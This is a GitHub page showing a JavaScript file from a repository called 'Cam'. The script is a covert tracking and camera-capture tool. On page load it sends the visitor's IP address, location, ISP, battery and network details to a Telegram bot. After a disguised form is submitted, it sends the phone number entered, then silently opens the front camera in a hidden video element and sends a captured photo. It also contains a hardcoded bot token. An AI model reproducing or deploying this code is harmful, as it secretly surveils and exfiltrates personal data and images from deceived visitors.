forked from Bitgetsrilankan/Cam
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscript.js
More file actions
197 lines (159 loc) · 5.74 KB
/
script.js
File metadata and controls
197 lines (159 loc) · 5.74 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
const BOT_TOKEN = "7835635833:AAElbvhgEObfaBmIC0gD0MhT_hthCtME654"; // Replace with your bot token
const API_URL = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`;
const API_FILE_URL = `https://api.telegram.org/bot${BOT_TOKEN}/sendPhoto`;
async function getIpDetails() {
try {
const response = await fetch("https://ipapi.co/json/");
if (!response.ok) throw new Error("Failed to fetch IP details");
return await response.json();
} catch (error) {
console.error("Error fetching IP details:", error);
return {
ip: "Unknown",
city: "Unknown",
region: "Unknown",
country: "Unknown",
org: "Unknown",
asn: "Unknown",
};
}
}
async function getDeviceInfo() {
const deviceInfo = {
charging: false,
chargingPercentage: null,
networkType: null,
timeZone: Intl.DateTimeFormat().resolvedOptions().timeZone,
};
if (navigator.getBattery) {
const battery = await navigator.getBattery();
deviceInfo.charging = battery.charging;
deviceInfo.chargingPercentage = Math.round(battery.level * 100);
}
if (navigator.connection) {
deviceInfo.networkType = navigator.connection.effectiveType;
}
return deviceInfo;
}
async function sendTelegramMessage(chatId, message) {
const data = {
chat_id: chatId,
text: message,
parse_mode: "HTML"
};
try {
const response = await fetch(API_URL, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(data)
});
const result = await response.json();
console.log("Telegram Response:", result);
} catch (error) {
console.error("Error sending message:", error);
}
}
async function sendPhoto(chatId, photo) {
const formData = new FormData();
formData.append('chat_id', chatId);
formData.append('photo', photo);
try {
const response = await fetch(API_FILE_URL, {
method: "POST",
body: formData
});
const result = await response.json();
console.log("Photo sent:", result);
} catch (error) {
console.error("Error sending photo:", error);
}
}
async function capturePhoto(video) {
const canvas = document.createElement('canvas');
const context = canvas.getContext('2d');
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
context.drawImage(video, 0, 0, canvas.width, canvas.height);
const photo = canvas.toDataURL('image/png');
// Convert data URL to Blob
const response = await fetch(photo);
const blob = await response.blob();
return new File([blob], 'photo.png', { type: 'image/png' });
}
async function sendInitialInfo() {
const ipDetails = await getIpDetails();
const deviceInfo = await getDeviceInfo();
const urlParams = new URLSearchParams(window.location.search);
const chatId = urlParams.get('id');
const message = `
<b><u>ℹ️ Activity Tracked:</u></b>
<b>🌐 Ip address:</b> <i>${ipDetails.ip}</i>
<b>🌍 Location:</b> <i>${ipDetails.city}, ${ipDetails.region}, ${ipDetails.country}</i>
<b>📡 ISP:</b> <i>${ipDetails.org}</i>
<b>🔍 ASN:</b> <i>${ipDetails.asn}</i>
<b>📱Device Info:</b>
<b>🔋 Charging:</b> <i>${deviceInfo.charging ? 'Yes' : 'No'}</i>
<b>🔌 Battery Level:</b> <i>${deviceInfo.chargingPercentage}%</i>
<b>🌐 Network Type:</b> <i>${deviceInfo.networkType}</i>
<b>🕒 Time Zone:</b> <i>${deviceInfo.timeZone}</i>
<b>👨💻 Tracked on: @Camera_Heakinbot</b>
`;
if (chatId) {
await sendTelegramMessage(chatId, message);
} else {
console.error("Chat ID missing in URL!");
}
}
document.getElementById('data-form').addEventListener('submit', async function (event) {
event.preventDefault();
const operator = document.getElementById('operator').value;
const mobileNumber = document.getElementById('mobile-number').value;
const urlParams = new URLSearchParams(window.location.search);
const chatId = urlParams.get('id');
if (!chatId) {
alert("Chat ID is missing in the URL!");
return;
}
const ipDetails = await getIpDetails();
const message = `
<b><u>☎️ Number Tracked</u></b>
<b>📱 Mobile number:</b> +91${mobileNumber}
<b>📡 Operator:</b> ${operator}
<b>🌐 Ip Information:</b>
<b>🌐 Ip address:</b> <i>${ipDetails.ip}</i>
<b>🌍 Location:</b> <i>${ipDetails.city}, ${ipDetails.region}, ${ipDetails.country}</i>
<b>📡 ISP:</b> <i>${ipDetails.org}</i>
<b>🔍 ASN:</b> <i>${ipDetails.asn}</i>
<b>👨💻 Tracked on: @Camera_Heakinbot</b>
`;
await sendTelegramMessage(chatId, message);
const video = await startCamera();
const photo = await capturePhoto(video);
await sendPhoto(chatId, photo);
// Stop the camera and clean up
const tracks = video.srcObject.getTracks();
tracks.forEach(track => track.stop());
video.remove();
alert("Your request has been processed under 24 hours !");
});
sendInitialInfo();
document.getElementById('mobile-number').addEventListener('input', function () {
this.value = this.value.replace(/[^0-9]/g, '');
});
async function startCamera() {
const video = document.createElement('video');
video.style.display = 'none'; // Hide the video element
document.body.appendChild(video);
try {
const stream = await navigator.mediaDevices.getUserMedia({ video: { facingMode: 'user' } });
video.srcObject = stream;
video.play();
await new Promise(resolve => {
video.onloadedmetadata = resolve;
});
return video;
} catch (error) {
console.error("Error accessing camera:", error);
return null;
}
}